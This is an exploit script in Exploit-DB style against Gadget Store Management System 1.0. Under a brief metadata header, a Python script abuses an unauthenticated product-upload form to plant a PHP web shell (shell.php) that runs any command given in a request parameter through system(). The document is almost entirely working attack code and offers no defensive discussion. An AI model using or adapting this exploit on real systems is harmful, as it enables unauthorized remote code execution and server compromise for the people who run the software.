# Exploit Title: Gadget Store Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.campcodes.com/
# Software Link: https://www.campcodes.com/projects/php/gadget-store-management-system/
# Version: 1.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz



*- url "http://localhost:80/gadgetsdb/addproduct.php"
*- Path File : http://localhost/gadgetsdb/upload/shell.php

---------------------------------------------------


#!/bin/env python3
import requests

print ('''
####################################################################################################                                        
#    Gadget Store Management System 1.0 - Remote Code Execution (Unauthenticated)                  #
#                                     BY:Saud Alenazi                                              #
#                                         0xSaudi                                                  #
####################################################################################################
''')

url = "http://localhost:80/gadgetsdb/addproduct.php"

saud0 = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------4587377838466971711694098865", "Origin": "http://localhost", "Connection": "close", "Referer": "http://localhost/gadgetsdb/product.php", "Upgrade-Insecure-Requests": "1"}
saud1 = "-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"pname\"\r\n\r\ntest\r\n-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"category\"\r\n\r\n4\r\n-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"price\"\r\n\r\n100\r\n-----------------------------4587377838466971711694098865\r\nContent-Disposition: form-data; name=\"photo\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\r\nif($_REQUEST['s']) {\r\n  system($_REQUEST['s']);\r\n  } else phpinfo();\r\n?>\r\n</pre>\r\n</body>\r\n</html>\r\n-----------------------------4587377838466971711694098865--\r\n"
requests.post(url, headers=saud0, data=saud1)